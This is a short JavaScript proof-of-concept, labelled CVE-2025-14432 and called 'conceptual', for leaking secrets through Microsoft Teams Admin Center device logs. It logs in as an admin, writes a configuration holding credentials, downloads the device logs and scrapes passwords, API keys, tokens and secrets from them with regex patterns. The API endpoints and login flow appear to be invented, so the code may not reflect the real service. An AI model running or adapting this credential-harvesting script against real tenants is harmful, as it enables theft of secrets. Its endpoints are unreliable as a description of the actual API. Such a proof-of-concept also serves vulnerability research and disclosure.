// CVE-2025-14432 PoC - Information Disclosure via TAC Logs
// Note: This is a conceptual PoC. Actual exploitation requires valid admin credentials.
// Step 1: Authenticate to Microsoft Teams Admin Center with admin credentials
const authenticateTAC = async (username, password) => {
const response = await fetch('https://admin.teams.microsoft.com/api/auth/login', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ username, password })
});
return response.json(); // Returns auth token
};
// Step 2: Trigger device configuration change via TAC API
const triggerConfigChange = async (authToken, deviceId, sensitiveConfig) => {
const response = await fetch(`https://admin.teams.microsoft.com/api/devices/${deviceId}/config`, {
method: 'PUT',
headers: {
'Authorization': `Bearer ${authToken}`,
'Content-Type': 'application/json'
},
body: JSON.stringify(sensitiveConfig)
});
return response.json();
};
// Step 3: Access the log file containing sensitive data
const accessLogFile = async (authToken, deviceId) => {
const response = await fetch(`https://admin.teams.microsoft.com/api/devices/${deviceId}/logs`, {
method: 'GET',
headers: {
'Authorization': `Bearer ${authToken}`
}
});
const logs = await response.text();
// Sensitive data may be present in the logs
const sensitiveData = extractSensitiveInfo(logs);
return sensitiveData;
};
// Helper function to extract sensitive information from logs
const extractSensitiveInfo = (logContent) => {
const patterns = [
/password[=:]\s*[^\s]+/gi,
/api[_-]?key[=:]\s*[^\s]+/gi,
/token[=:]\s*[^\s]+/gi,
/secret[=:]\s*[^\s]+/gi
];
let extracted = [];
patterns.forEach(pattern => {
const matches = logContent.match(pattern);
if (matches) {
extracted = extracted.concat(matches);
}
});
return extracted;
};
// Main execution
(async () => {
// Requires valid admin credentials
const auth = await authenticateTAC('
[email protected]', 'admin_password');
const token = auth.token;
// Trigger configuration with potentially sensitive data
const config = {
serverUrl: 'https://provisioning.example.com',
apiKey: 'super_secret_api_key_12345',
username: 'service_account',
password: 'service_password_xyz'
};
await triggerConfigChange(token, 'device_001', config);
// Access logs to retrieve sensitive information
const leakedData = await accessLogFile(token, 'device_001');
console.log('Leaked sensitive data:', leakedData);
})();